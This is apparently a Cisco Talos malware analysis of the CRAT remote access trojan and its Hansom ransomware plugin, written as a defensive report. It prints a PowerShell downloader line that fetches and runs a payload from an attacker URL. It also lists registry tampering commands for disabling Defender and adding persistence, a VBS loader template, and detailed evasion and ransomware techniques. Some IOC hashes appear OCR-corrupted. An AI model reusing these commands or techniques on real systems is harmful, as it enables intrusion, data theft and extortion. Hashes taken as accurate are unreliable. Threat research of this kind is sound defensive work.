

# CRAT wants to plunder your endpoints

[blog.talosintelligence.com/2020/11/crat-and-plugins.html](https://blog.talosintelligence.com/2020/11/crat-and-plugins.html)



By Asheer Malhotra.

- Cisco Talos has observed a new version of a remote access trojan (RAT) family known as CRAT.
- Apart from the prebuilt RAT capabilities, the malware can download and deploy additional malicious plugins on the infected endpoint.
- One of the plugins is a ransomware known as "Hansom."
- CRAT has been attributed to the Lazarus APT Group in the past.
- The RAT consists of multiple obfuscation techniques to hide strings, API names, command and control (C2) URLs and instrumental functions, along with static detection evasion.
- The attack also employs a multitude of anti-infection checks to evade sandbox based detection systems.

## What's new?

Cisco Talos has recently discovered a new version of the CRAT malware family. This version consists of multiple RAT capabilities, additional plugins and a variety of detection-evasion techniques. In the past, CRAT has been attributed to the Lazarus Group, the malicious threat actors behind multiple cyber campaigns, including attacks against the entertainment sector.

Indicators and tactics, techniques and procedures (TTPs) discovered by this investigation resemble those of the Lazarus Group.

## How did it work?

---

The attack consists of a highly modular malware that can function as a standalone RAT and download and activate additional malicious plugins from its C2 servers. Cisco Talos has discovered multiple plugins so far, consisting of ransomware, screen-capture, clipboard monitoring and keylogger components.

## So what?

---

This attack demonstrates how the adversary operates an attack that:

- Uses obfuscation and extensive evasion techniques to hide its malicious indicators.
- Has evolved across versions to achieve effectiveness of their attack.
- Employs a highly modular plugin framework to selectively infect targeted endpoints.
- Most importantly, it deploys RAT malware to ransack the endpoint, followed by deployment of ransomware to either extort money or burn infrastructure of targeted entities.


## Distribution vector

---

The first version of CRAT has been known to be distributed via malicious HWPs. The HWPs masquerade as a COVID-19 themed document pertaining to an infectious disease management support group from South Korea. The HWPs consisted of an exploit for CVE-2017-8291 used to activate malicious shellcode. The shellcode would then download and execute CRATv1 on the infected endpoint.

The distribution vector of the new version of CRAT (v2) is currently unknown. However, it is highly likely the attackers may have re-used a maldoc-based infection vector to spread CRATv2 as well.



 <b>인천광역시 감염병관리지원단</b> <small>Incheon Communicable Diseases Center</small>	<b>긴 급 조 회</b>	
	2020. 4 1(수)	
배 포 일	2020. 4 1(수)	
인천광역시 감염병관리지원단	단 장	조 승 연
	부 단 장	고 광 필

2020년 3월 30일 구월동 인천시청 데이터센터 앞 인도에서 진행된 집회 참가자들 속에서 코로나19 확진자가 발생하였습니다.  
 3월 30일 오전 9시 30분부터 12시까지의 귀하의 행적에 대하여 아래의 양식에 구체적으로 써주시기 바랍니다.

시간	장소	확인자 성명	확인자 소속.직위	확인자 이메일
~				
~				
~				
~				
~				
~				

Malicious HWP document - downloader for CRATv1

```
PowershellNewO_0 db 'powershell (new-object System.Net.WebClient).DownloadFile(',27h,'h'  
db 'http://teslacontrols.ir/wp-includes/images/detail31.jpg',27h,',',27h'  
db '%temp%\skype.jpg',27h,'); regsvr32 /s %temp%\skype.jpg',0
```

Shellcode executing PowerShell to download and activate CRATv1 via regsvr32.

## Obfuscation

---

Before we analyze the attack it is important to understand the extensive measures taken by the attackers to conceal the RAT executables. The RAT is highly obfuscated in terms of:

- **String Obfuscation:** Almost all of the strings are obfuscated using a four-byte XOR key and subsequent base64 encoding. String obfuscations are used to thwart string-based static malware detection signatures.
- **API Resolution:** All APIs used are resolved dynamically. The process of selecting the API to call is also a cumbersome algorithm (overkill) involving index tables, switch cases and API name deobfuscation. This technique is used to make analysis cumbersome for an analyst by hiding API call sequences.
- **Runtime Code Patching:** The malware consists of a select few instrumental subroutines that are decoded, executed and then patched/encoded again (during runtime). On-the-fly patching of subroutines/functions may be aimed towards evading detection mechanisms that scan process memory to identify malicious strings and code.

## Why the occurrence of multiple obfuscations?

---

The use of multiple obfuscations signifies the attackers confidence in selective obfuscation rather than the use of packers as a means of evasion. Many detection systems look for the presence of a packer using techniques such as entropy analysis, Import API analyses, etc. Selective obfuscation of code and strings prevents these systems from detecting the malware solely on the basis of the obfuscations.

It is also likely that this group of attackers employs a modular build system that obfuscates different aspects of malware. Different modules can thus be used in conjunction to produce a combination of obfuscations for the same malware.

## Masquerading as legitimate

---

The attackers have also used file names and export API names in the CRAT DLLs to masquerade the RAT as a benign application's library. Some examples of the exported function names are:

- ConfigChrome
- DownloadChrome

- GetChromeVersion
- InstallChrome
- UninstallChrome
- UpdateChrome
- InstallFirefox
- SaveMicrosoftEdge
- ExtractMicrosoftEdge
- ExtractMicrosoftWord

## Anti-Infection Checks

---

The implant performs checks to verify its execution on an allowed endpoint. The implant uses a variety of criteria to identify a blocklisted system by utilizing:

- Process name blocklists
- Network adapter name blocklists
- MAC Address blocklists
- Analysis tool names blocklists

The implant also checks for indicators that the process is being debugged (including CheckRemoteDebuggerPresent). If the infected endpoint fails any of the anti-infection checks, the implant quits execution. The blocklists are provided at the end of this post.

## Finding the right process — Sweet Home Alabama

---

The CRAT DLL ensures it resides in the desired process on the infected endpoint. Depending on the MS Windows OS version, it will inject and reflectively-load itself into the right process. The processes trojanized by CRAT v2 are:

Win10:

- sihost.exe
- taskhostw.exe
- ApplicationFrameHost.exe
- svchost.exe

Win 6.1:

- dwm.exe
- taskhost.exe
- svchost.exe
- notepad.exe

Other Win 6.x:

- dwm.exe

- taskhost.exe
- svchost.exe
- notepad.exe

OS agnostic injection fall back process: explorer.exe

## Communication mechanisms

---

Before detailing CRAT's capabilities, it is important to illustrate the communication mechanism used by CRAT to talk to its C2 servers.

Both versions of CRAT use HTTP to communicate with the C2 servers. The data sent to the C2 is in the form of URL-encoded form data and may consist of 3 types of requests:

- Login: Login/check-in with the C2 to register the infected endpoint.
- Question: Request a command code to execute a malicious RAT functionality on the endpoint.
- Answer: Respond to the C2's command with the output of the executed RAT functionality.

The HTTP GET/POST requests are sent to the C2 URLs appended with a 'timestamp' value:  
`http(s)://<C2_url>?ts=<epoch_time>_<rand>`

## Exfiltration Mechanism

---

CRAT uses the following algorithm to encode the data before sending it out via the HTTP POST request:

1. Generate a random four-byte value (DWORD).
2. XOR the data to be exfiltrated with the DWORD.
3. Base64-encode (std alphabet) the XOR key and the XORed data to achieve the final form of the data.
4. Exfiltrate the encoded data as URL encoded form data.

The format of the response to the C2 is:

```
code=answer&token=<token>&content=<base64_encoded_data>frags=  
<fragment_count>&limit=10
```

Where:

- code = type of the communication being done. Values include:
  - login = login request to C2 from implant
  - question = request command to be processed
  - answer = response to command executed

- token = a token value sent by the C2 as a response to the login (session identifier)
- content = the actual base64-encoded + XORed data being exfiltrated
- frags = number of fragments of data being POSTed to the C2
- limit = retry count in case of failure to send

The C2 server will respond with a JSON containing command codes and supporting data to be recognized by the implant to execute a corresponding RAT capability.

## RAT capabilities

---

The CRAT malware consists of multiple RAT capabilities that allow it to be highly versatile and dangerous. CRAT executes these capabilities by receiving command codes and corresponding data from the C2 in the form of JSONs communicated over HTTP.

Apart from the introduction of a wide variety of new RAT capabilities in CRAT version 2 (vs CRAT version 1), the biggest update is the spin-off of key RAT capabilities into plugin modules. These plugins (DLLs) are downloaded on-the-fly by CRATv2 and injected into specific processes running on the infected endpoint.

The following capabilities have been observed in CRATv2.

### Collect System Information

---

Collects the following system information:

- Installed AntiVirus software names
- Installed FirewallProduct names
- Domain Names:
  - Netbios domain name
  - DNS domain name
  - Domain forest name
- File version number from DLLs embedded Version Information
- Path to the system folder
- Flag if the current user has administrative privileges

```
cmp     dword ptr [rax+14h], USER_PRIV_ADMIN ; usri1_priv
mov     [rsp+248h+rbx_bak], rbx
setz   bl
```

Implant checking for ADMIN privileges

TCP/IP enabled MAC Addresses using WMI query:

```
wmic PATH Win32_NetworkAdapterConfiguration WHERE IPEnabled=TRUE GET
MACAddress.
```

```
lea    r8, null
lea    rdx, aMacaddress ; "MACAddress"
lea    rcx, [rsp+68h+wmic_mac_address_output]
call   str_replace
lea    r8, null_0
lea    rdx, asc_7FFAC49335CC ; "\r"
lea    rcx, [rsp+68h+wmic_mac_address_output]
call   str_replace
lea    r8, null_1
lea    rdx, asc_7FFAC49336DC ; "\n"
lea    rcx, [rsp+68h+wmic_mac_address_output]
call   str_replace
lea    r8, null_2
lea    rdx, asc_7FFAC4933744 ; "\t"
lea    rcx, [rsp+68h+wmic_mac_address_output]
call   str_replace
lea    r8, null_3
lea    rdx, asc_7FFAC493377C ; " "
lea    rcx, [rsp+68h+wmic_mac_address_output]
call   str_replace
```

Implant replacing strings in the output of the WMIC command to obtain only the MAC Addresses

### Enumerate drives and gather file size information

---

Collects size information about all files and folders on the infected endpoint except:

- Recycle Bin
- %windir%

The data gathered is arranged into a specific format:

```
<Drive_Letter>\t<Disk_Type>\r\n
[DIR]\t<Folder_Path>
\t<File_Name><spaces><size_in_bytes> bytes
```

Where Disk Type =

- Local Disk



- CD ROM
- Removable Disk
- Remote Disk
- RAM Disk
- Unknown Disk

E.g.

Snippet of drive and file size information gathered by the implant.

```
C:\ Local Disk
bootmgr                123456 bytes
pagefile.sys           987654 bytes
swapfile.sys           1001001 bytes
[DIR] C:\PerfLogs
[DIR] C:\PerfLogs\Admin
[DIR] C:\Program Files
desktop.ini             174 bytes
[DIR] C:\Program Files\7-Zip
7-zip.chm               97440 bytes
7-zip.dll                76800 bytes
7-zip32.dll              49152 bytes
7z.dll                   1526272 bytes
7z.exe                   444416 bytes
7z.sfx                   190464 bytes
7zCon.sfx                171008 bytes
7zFM.exe                 827904 bytes
7zG.exe                  552448 bytes
descript.ion             366 bytes
History.txt              42579 bytes
License.txt              1927 bytes
readme.txt               1696 bytes
Uninstall.exe           14848 bytes
.... snip ....
D:\ CD ROM
```

## Enumerate Drives using dir

---

Enumerate drives using the 'dir' command:

```
cmd /c "dir <drive_name> /s >> %temp%\<custom_prefix>error.log"
```

Where custom\_prefix = file name prefix specified by the C2

E.g. cmd /c "dir C:\ /s >> C:\Users\<username>\AppData\Local\Temp\BLAError.log"

Implant constructing the dir cmd to be executed.

The log file is then rolled up into a ".rar" archive using a pre-existing installation of a RAR archiver program using the command:

```
<rar_utility> a -k -r -s -ibck -m5 <output_rar_filepath> <input_log_filepath>
```

The RAR archive is then read to memory and exfiltrated to the C2, followed by deletion of the .rar and log files.

## Read and write file

---

CRAT has the capability to read the contents of the file specified by the C2 and exfiltrate these to the C2. The write file capability consists of writing the data received from the C2 to a temporary file in the %temp% folder: %temp%\<temp\_name>.tmp

The implant will also timestomp the tmp file to either a hardcoded value or copy the filetimes from a system file such as %windir%\system32\user32.dll.

## Execute commands

---

Execute commands with two variations of the functionality:

- Simply execute the command on the endpoint.
- Execute a command and send output of command to C2.

## Reverse Shell

---

Open up a reverse command shell for arbitrary command execution using Windows pipes.

## Set query times

---

This capability allows the C2 to specify delays between consecutive command queries from the implant to the C2 for:

- Receiving commands from the C2.
- Receiving arbitrary commands to execute in the reverse shell.

## Steal browser passwords: ChromePass

---

Execute chromepass.exe with the /stext switch to obtain the usernames and passwords stored in Google Chrome. The credentials are dumped to a text file which is read and exfiltrated to the C2.

Command format: chromepass.exe /stext <output\_filepath>

## File explorer

---

CRAT contains a RAT functionality that implements a custom-built File Explorer sub-module.

The C2 specifies the parent functionality command code and an additional sub-command code to specify the sub-capability to be executed in the file explorer. The file explorer sub-module contains the following sub-capabilities:

- Gather free and total disk space information for each drive on the system.
- Enumerate file listings (recursively) in a given directory.
- Move files across locations.
- Find and remove files and folders.
- Create RAR archive files from files specified.
- Create RAR archives and exfiltrate file contents to C2.

- Execute arbitrary commands specified by C2 on the endpoint.

## Plugin administration

---

Downloads and installs a malicious plugin from the C2. The plugin is placed in a standard directory specified by the C2, and locations may include:

- %PUBLIC%\Documents
- %USERPROFILE%\Downloads
- %PUBLIC%\Music
- %PUBLIC%\Pictures
- %PUBLIC%\Videos
- %windir%
- %windir%\system32
- %APPDATA% (%USERPROFILE%\AppData\Roaming)

CRAT can also administer the malicious plugins by performing the following actions:

- For EXE based plugins:
  - Execute plugin as an independent process.
- For DLL plugins:
  - Activate using regsvr32.exe
  - Activate using rundll32.exe
  - Reflective load into its own process
  - Reflectively load into a target process
  - Delete files related to plugins

## Uninstall CRAT

---

The RAT comes with an uninstallation routine built into it as well. This routine can be triggered in response to a command issued by the C2 or if the endpoint fails its anti-infection checks. The uninstallation routine consists of:

- Deleting .exe and .lnk files associated with the RAT.
- Sending the uninstall flag to the communications pipe.
- Delete associated plugin files (EXEs and DLLs) from the endpoint.

## Additional capabilities

---

In addition to the RAT capabilities, CRAT also consists of additional functionalities that are implemented as part of independent threads in the infected process:

- Send Heartbeat Thread: This will send four bytes of data periodically to a named pipe.
- Upload File Thread: This thread will periodically send the contents of a file to the C2 server over HTTP. The contents of either the Keylogger or Clipboard monitor files are read and sent to the C2.

- **Upload Screen Thread:** This thread reads and sends the contents of another file to the C2 server over HTTP. Most likely the content of screenshots taken by the Screen Recorder plugin.

## CRATv2 plugins

---

With version 2, the attackers have evolved CRAT into a modular RAT with the ability to download and activate additional malicious plugins (DLLs) on the infected endpoint. The first version of CRAT had these plugin capabilities implemented within the RAT. Cisco Talos has discovered these capabilities so far:

- Screen capture plugins
- Clipboard monitor plugins
- Keylogger plugins
- Ransomware

### Screen capture plugin

---

The screen capture plugin will capture the current foreground window (every second or so) and save the screenshot to a .tmp file in a hardcoded directory. The screenshot is saved in TIFF file format. Since TIFF is widely supported by scanning and faxing systems, the malicious screenshots may be mis-identified as document scans by a forensic analyst instead of malicious screen captures.

The saved screenshot file is also XORed using a variable length XOR key hardcoded into the plugin as saved to add a further layer of obfuscation.

Sample screenshot captured by the plugin

### Clipboard monitor plugin

---

This plugin will read the clipboard data and write the contents of the clipboard to a log file. The format of the clipboard data logged is:

```
\r\n[YYYY-mm-DD HH:MM:SS]\r\n<clipboard_data>
```

The data is stored in a seemingly benign file location such as:  
%localappdata%\Google\Chrome\Application\Update.chk

Clipboard monitor implant getting clipboard data.

### Keylogger plugin

---

The keylogger plugin monitors the state of all the alphanumeric keys pressed. It also logs the following keys:

- Ctrl
- Shift

- Menu
- Alt
- Enter
- Tab
- Backspace
- Capslock
- Delete
- End
- Home
- Up
- Down
- Left
- Right
- Function keys

The keystrokes are logged to another seemingly benign file on the endpoint such as:  
%localappdata%\Google\Chrome\Application\Update.cert

The format of the log file is:

```
\r\n[<Window_Name> - YYYY-mm-DD HH:MM:SS]\r\n<keylogger_data>  
\r\n[YYYY-mm-DD HH:MM:SS]\r\n<keylogger_data>
```

Example:

```
[Untitled - Notepad - 2020-06-05 01:02:03]  
These keystrokes are being recorded[ENTER]
```

```
[Blah - 2020-06-05 01:02:03]  
[CTRL] + c
```

Keywords used to log keys being pressed.

```

text "UTF-16LE", '[ALT] + ',0
align 10h
aEnter
; DATA
text "UTF-16LE", '[ENTER]',0
aTab
; DATA
text "UTF-16LE", '[TAB]',0
align 10h
; DATA
text "UTF-16LE", '[BCK]',0
align 20h
; DATA
text "UTF-16LE", '[CAP]',0
align 10h
; DATA
text "UTF-16LE", '[DEL]',0
align 20h
; DATA
text "UTF-16LE", '[END]',0
align 10h
aHome
; DATA
text "UTF-16LE", '[HOME]',0
align 20h
aUp
; DATA
text "UTF-16LE", '[UP]',0
align 10h
):
; DATA
text "UTF-16LE", '[<-]',0
align 20h
):
; DATA
text "UTF-16LE", '[->]',0
align 10h
; DATA
text "UTF-16LE", '[DOWN]',0
align 20h
; DATA
text "UTF-16LE", '[F5/F11]',0

```

TEXT UIF-10LE , [r%a] ,0

## Ransomware plugin — Hansom

---

We also discovered a ransomware plugin that encrypts specific file extensions on the infected endpoint. Traditionally ransomware encrypts files on the infected endpoint using a combination of asymmetric and symmetric encryption. This plugin is different.

It locks files into individually created archives using randomly generated passwords. The passwords are then encrypted using an embedded public key (part of an embedded public certificate). Once the infected user gets access to the private key (after the ransom has been paid), the private key can be plugged into the accompanying decryptor .exe that decrypts the archive passwords and subsequently unpacks the original files from the archive.

The plugin performs the following housekeeping actions before it begins encrypting files on the endpoint:

Terminate specific application processes.

Suppress Windows Defender notifications by setting registry value:

```
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration |  
Notification_Suppress = 0x1
```

Terminate Windows Defender process "MsMpEng.exe" specifically.

Disable task manager via registry:

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System |  
DisableTaskMgr = 0x1
```

Setup persistence for self via registry and regsvr32:

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run | HANSOM = regsvr32.exe  
/s <filepath_to_ransomware_dll>
```

## Targeted File Extensions

---

The following file extensions are targeted by the ransomware plugin. The ransomware excludes certain file and folder names from encryption to ensure the stability of the Operating System (listed in the IOCs section).

- doc,docx,ppt,pps,pptx,xls,xlsx,mdb,chm
- txt,log,pdf,hwp,hst,ods,odt,rtf,csv,hwpml,show,eps,epub,eml
- htm,html,js,css,vbs,php,jsp,xml,asp,aspx
- asm,java,c,cpp,cs,h,m,3ds,max,dwg,cad
- rar,zip,alz,tar,tgz,gz,7z,iso,bz2,bzip2,arj,arc,ace,xz,lz
- jpg,jpeg,png,bmp,tiff,gif,psd,ai,fla,ppm,xbm

- exe,dll,jar,war,bat,py,pl,apk,msi,ocx,cmd
- db,frm,myd,myi,mdf,sdf,dbf,sql,sqlite3,dat
- cer,crt,der,p7b,p7c,p12,pfx,pem,csr,key
- ini,inf,reg,bak,ldf,config,conf,cka,au3

## Ransomware Encryption Algorithm

---

The plugin uses the following sequence of steps to encrypt/lock files on the infected endpoint:

1. Create a password by generating random 0x48 bytes and base64 encoding them. Then take the target file and add it to a password-protected RAR archive using command:  
`"C:\Users\  
This command also deletes the target file once it has been added to the archive.`
2. After the target file has been archived, the random password used for the creation of the RAR archive is encrypted using an embedded RSA public key.
3. The encrypted password blob is appended to the archive along with a marker indicating that the file has been encrypted successfully. The marker used is:  
48 61 6E 73 6F 6D 32 30 30 38 20 20 07 29 Hansom2008 .)
4. Then the RAR archive is renamed (via file move) to the name of the original file.  
E.g. C:\blah\abc.txt.rar is renamed back to C:\blah\abc.txt
5. A ransom note is dropped in the target file's directory named HANSOM\_README.txt informing the user of the ransomware infection.





3. Copy the ransom note JPG to C:\Users\Public\Pictures\hansom.jpg and set it as the current wallpaper via registry.

Hansom ransomware wallpaper:



4. Remove any registry based persistence mechanisms such as Run keys to prevent re-encryption of files on startup.
5. Delete disk shadow copies using wmic command: shadowcopy delete

The ransomware plugin also communicates with a C2 server URL, sending it details (as JSONs) such as:

- Unique ID of machine (generated similar to CRAT)
- Ransom ID of the plugin
- Number of files encrypted
- Privilege level of the process, etc.

## Loaders

---

In addition to the CRATv2 DLLs, Cisco Talos discovered multiple loaders related to the RAT family. This section provides an overview of these components.

### EXE Loaders

---

The EXE based loader serves two primary purposes:

1. Establish persistence for itself using a scheduled task on the infected endpoint. Usually scheduled to run once every few minutes. The loader may also obtain persistence using a registry RUN key.

2. Perform anti-infection checks and inject the CRAT DLL into a target process.
  1. The CRAT DLL isn't dropped or downloaded by the .exe based loader to the endpoint.
  2. It simply reads the DLL from a hardcoded filepath, un-XORs it using a 4-byte key and the resulting DLL is reflectively injected into a specified target process.

#### Variant #2

The latest variant of the EXE loader contains the following capabilities/upgrades:

1. Establish persistence for itself using two mechanisms:
  1. Create and run a malicious service on the endpoint to run itself.
  2. Create a malicious LNK for itself which is persisted via a malicious RUN registry key value.
2. Read an implant (most likely CRATv2) into memory and reflectively load it into the loader's process space.

## DLL Loaders

---

Apart from EXE based loaders, this CRAT also uses DLL based loaders. The DLL loaders carry out the same function of decoding the CRAT DLL and reflectively injecting it into a specified process.

The differences are in the persistence techniques used:

- The DLL loader copies itself to a specified directory and creates a LNK that activates the loader via rundll32.exe
- The LNK file is then persisted across reboots via the registry RUN key:  
HKCU\Software\Microsoft\windows\CurrentVersion\Run | <Value\_Name> = <LNK\_filepath>

#### Variant #2

Cisco Talos discovered another variant of the DLL-based loader that acts as a packager as well. Depending on the option specified, the loader will either:

- Activate CRAT:
  - Activate unpacked CRAT DLL:  
Reflectively inject an existing CRAT DLL into a hardcoded process.
  - Unpack and activate:
    - Extract components of the attack from a RAR archive and execute an accompanying EXE file (Most likely used to load the CRAT DLL).
    - The extraction isn't carried out directly. This variant will create a VBS file to run rar.exe to extract CRAT components. Syntax used:

```
Set s = Wscript.CreateObject("Wscript.Shell"): s.Run """"%s"" x -y -p%s ""%s""
""%s""", 0, TRUE: s.Run """"%s\%s""", 0: Set s = Nothing
```

E.g.

```
Set s = Wscript.CreateObject("Wscript.Shell"): s.Run """"C:\Users\
<username>\AppData\Roaming\WinRar\Rar.exe"" x -y -p[password] ""
<path_to_rar_file>\<filename>.rar"" ""<target_dir>""", 0, TRUE: s.Run """"
<target_dir>\<extracted_exe>.exe""", 0: Set s = Nothing
```

Just like the previous DLL loader, this variant will create an LNK file to run the VBS script upon reboot by setting up registry key:  
 HKCU\Software\Microsoft\windows\CurrentVersion\Run |  
 <Value\_Name> = <LNK\_filepath>

Package CRAT: This variant of the loader also has the capability to create an archive from a specified file on disk. This functionality may be used to create deployment packages for another part of the infection chain. Syntax used:

```
"<path_to>\Rar.exe" a -k -r -s -ibck -m5 -df -ep -hp[password] "
<filepath_of_rar_archive_to_be_created>.rar" "<file_to_be_archived>"
```

Infection chain of CRATv2

## Evolution Timeline of CRAT and Components

---

The earliest versions of CRAT discovered were compiled in April 2020. The following is a timeline of events in the lifecycle of CRAT with the introduction/modification of its components at different stages of the engineering process.

### April 2020

---

Earliest known version of CRAT (v1) created. Limited capabilities and basic string obfuscation. Downloaded by malicious HWPs from an infected Wordpress website.

### May 2020

---

The following components were first built May 2020:

- EXE loader v1 in early May 2020.
- DLL loader v1 in late May 2020.
- CRATv2 seen for the first time in early May 2020.
- Three CRAT plugins seen for the first time in early May 2020.
  - Screen Recorder.

- Clipboard Monitor.
- Keylogger.

## June 2020

---

DLL loader v2 first seen in June 2020.

## July 2020

---

- EXE loader v1 continues evolving to add more persistence mechanisms (LNK and registry Run key combination) in July 2020.
- Ransomware plugin - Hansom spotted in the wild.

## August 2020

---

EXE loader v2 first seen in August 2020.

## September 2020

---

Latest version of the Ransomware plugin spotted in mid September.

This timeline shows that the attackers have been busy developing a new component of the infection chain almost every month since April 2020.

A visual timeline of the evolution is presented here:

Visual timeline of the evolution of the infection chain of CRAT.

## Links to Lazarus

---

Attribution is hard. Although prior reporting has linked CRAT to Lazarus, there has been no solid evidence to back these claims. There are however some aspects of the attack that resemble Lazarus' practices:

**Code Reuse** - CRAT uses the same HTTP wrapper library used by other Lazarus implants such as Wild Positron and Rising Sun. Although this may be a weak attribution link, it does make sense for the group to reuse code they've had success with in the past.

**Functionality Duplication** - Lazarus tends to mix-and-match RAT capabilities and peripheral functionalities to stitch together variations of the same implant. That is, different obfuscations mechanisms, communication techniques and RAT capabilities are assembled together to create variations of the implant. This may cause duplication of certain functionalities.

In the case of CRAT, the occurrence of the same capability like 'execution of arbitrary commands' multiple times as independent RAT commands and also as part of the File Explorer sub-module indicates a factory-based build approach for the implants. Although a weak link, this process is still in sync with Lazarus' build paradigms.

**Ransomware Plugin** - Lazarus has been known to distribute ransomware as a means of sponsoring their malicious activities. The BTC addresses used by the ransomware plugin in the case of CRAT (Hansom Ransomware) do not currently hold any funds. Thus, it is unclear whether this module is in fact ransomware or a pseudo-ransomware (posing as ransomware but meant to burn endpoints).

**Wordpress C2s** - CRAT uses Wordpress based websites to act as its C2 servers. This practice is in sync with Lazarus' TTPs of using Wordpress websites to place C2 modules that act as intermediaries between the implants and real C2 servers.

**Past Attribution** - CRAT has been attributed to Lazarus in the past by the security community

**Targets** - Based on the lures observed so far by Cisco Talos, CRAT aims to infect Korean-speaking entities. This may also be an indicator of Lazarus targeting specific parties of interest.

## Conclusion

---

This investigation illustrates the continued use and evolution of the CRAT implant. CRAT started out as a nascent RAT with limited capabilities, which evolved to introduce a wide variety of malicious capabilities including a full-fledged File Explorer.

The latest iteration of CRAT now has the capability to download and deploy arbitrary plugins on the infected endpoint. These plugins have capabilities ranging from spying to encrypting and holding the user's data hostage. The ransomware plugin in particular has the potential to cause extensive loss of services, time and money to affected organizations.

The continued evolution of loaders used to deploy CRAT also indicates that the attackers are actively developing novel ways of infecting their targets. The extensive use of obfuscation, patching and anti-infection techniques indicates that the attackers have taken great care towards evading detection systems. Thus, while static and network-based detection is important, it should be complimented with system behavior analysis and endpoint protections.

## Coverage

---

Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

## IOCs

---

## CRATv1 HWPs

---

eae3dc403d36b115aa4f7db64cb1a64fa50dbff2b6ce3d118eeb1f745d1ecd14  
7050af905f1696b2b8cdb4c6e6805a618addf5acfb4edc3fc807a663016ab26  
b962e4580e05e004df9fe2c22b34556bc513370c9a775bfe185e05a9dodf494e  
bd1a0425ffaafa54a1c950fbb3d0defe9fa145131e4bd15d392597de408f5287  
cobd35a36ea5227b9b981d7707dff0e2c5ca87453a5289dc4a5cd04c7e8b728c

## CRATv1 Hashes

---

8edfc15862e3a9b7824fcb4b55c4fefdb4b28b66e3689a6f854e05aef5206dbb  
833a896b9236164472fa3ba30e63446b474f9f204fee06ac297877246b674871 win32  
88c168cd261dabea1b7223e8c05042be7e0505dedf6fd5effea90ae42e127968 win32  
e99c9190cfdc6ad1e45efc6b993078f3122857607f1fedee91757a04064f71ad7 win32  
c77e5533285871b888257e32653b33acf7e6a7b06d200d02995ae365dfa0a26f win32  
a36a7e247ea5920514b4d918a6dcdcc7c7f84foc657b2297a1a0eba3558e24c2 win32  
eofa30565977fb3b97102eef8d28f86cdcd6685aaod20eee4baaa72216fa562b win32  
3689c56b854a99133818618dc97465d9303b3a4009a3c890f7afdfacaddoe1af win32

## CRATv1 Download Locations

---

hxxp://teslacontrols[[]ir/wp-includes/images/detail31.jpg  
hxxp://teslacontrols[[]ir/wp-includes/images/detail32.jpg  
hxxp://www[[]sofa.rs/wp-content/themes/twenty nineteen/sass/layout/h1.jpg

## CRATv2 DLLs

---

40273d18abcd623a1798766eod388f2f46bfa7ad535cad46098a5262382fa13  
1e34709734b401413cc38818c1d7e34126fdco1a9bc47a1607e1371dd8d1385b  
389518ac65595ad9138b5dd0185aae851d979d4705d74f191492f002e63438c5  
916654e2ee43d2ee43fod5e9d41f8527aaf239684f91f9b92ac5c1937cd45c91  
098d190bdfe85b9c366f8eadofd2c4e469c54ad2d484f19647fobba8e5d84fe7  
e893b4f6b6f3ab977c96ab5e2c6115969cbe46a143531bfc9920d1b9972ebc12  
eab9136da8cc5c1a8a9fc528d64ef1ce11e385def98957712887785178e202a3  
04c46c55336ac40d567efoaac98ff8424872b584ea169c1a098ced833dd9bab4  
2cff5e7d4405bf09f423db1d7a8e535a6be2f68cc4ce4a5817ae01bee09fo88a  
4aa2dc282c56e397b501d84cfd6c582cc256c42e8b6722b45a592cf2008a6495  
05d4da2cb9f6d5d44c399f42a81bb393b2ff6669d64ea773b58d2daf4df10d00  
5b627647df675d746f63280cf10a221abfe0a93bab88a96e45b4734bebo5c021  
11c266c1b0fo428585d40fc95d1a7d3eedb3dof304cf7ebc692c4487e18c9afb  
26c70fa62e1d092ad1855900cdodb4e224b11e84fdf14105ade5e2b2a3dc1b62  
37f3f6cdb0a35b4cea75b7cf2dae613c71370e00acdb2cebfc7d95fe33eb97a9  
87ce3a13a58ae8007b002ac81f43dc364c1b93b0d3c2a19d46a4480caca9ae29  
88f5c94ad66e75a66795875bacafb3cbb87d1533ae3ddb41575b9711965c75b



844d60691d843de53d42b73d635314d50c4ba4d3b2aa2b93465ac0336e4c0588  
931f5726221489of3eff9add25fb5dc2521185e4567c722637f173343b02b9fb  
2263031c15809b49e7d8161e147a4844722f6f576d276b2be38aoc794417dd2a

### EXE Loaders v1

---

6f79db3e7fa1f3c9e1ea2e0fe098994f109949f82b97c6612386693164d3c7e2  
ca3372bb37e7109896c28247faadd157759d5e68ac324a54ff0759590f956094  
oeca58ef6f2aba6b3e686f76039945b3a8a8110d357a4f8d857757c218caoc1e  
59628b36ba65a57600c48eaa57c8dcfffc955e447cb3e41b7351e875b359f714  
a668af2c1b45bf83d509c88ad4b3e6fbadc7e9e3db4ea688888c7712866d1339  
955abf3ofd464dd572938eaf324d3447ecd8cb6df183bbdee2a58f54da83f4c

### EXE Loaders v2

---

2916801be5b6d26d735aaa11eb5631fc6dbe234ed2e0980b8d7366c89ad7ba39  
8377a53f789of3cfo1f8919207c981fb63b1boe63860d5731622a0cad94fdd09  
8ae6f663bf40036379857d65521ce1c78c11cd9b5b4848cecoe7fiad56e65743  
ab794769599c3fo46d34d00051685b7235bce119f212ec8739b6e206dd73b0bf

### DLL Loaders v1

---

4dc302e1f7cf8bdc4983fdfo2cf5b13bcd9314bb87953b9c6797187700192665 win32  
1fc8fb396a22f98c1230dod8877f3806d52c1a2723add033223753f83628c826  
b27c02b4a272453194dof03c395c4e3dbdf0efc4b8a61cd33b1a70320acf5345

### DLL Loaders v2 (loaders/packagers)

---

1ea8b9f307f2c420238ofife14044ff4b9140337b53fdf627e5411e979b4b5ea  
3b55f8467b2d3bc34c7fe4eoc4502bc1045c50d7c7fedda4a14eaf9094dfc8bf  
3f47d73a9d6597da1bdbf36f804bob69a9958225ace088747098d3a24f5a5957  
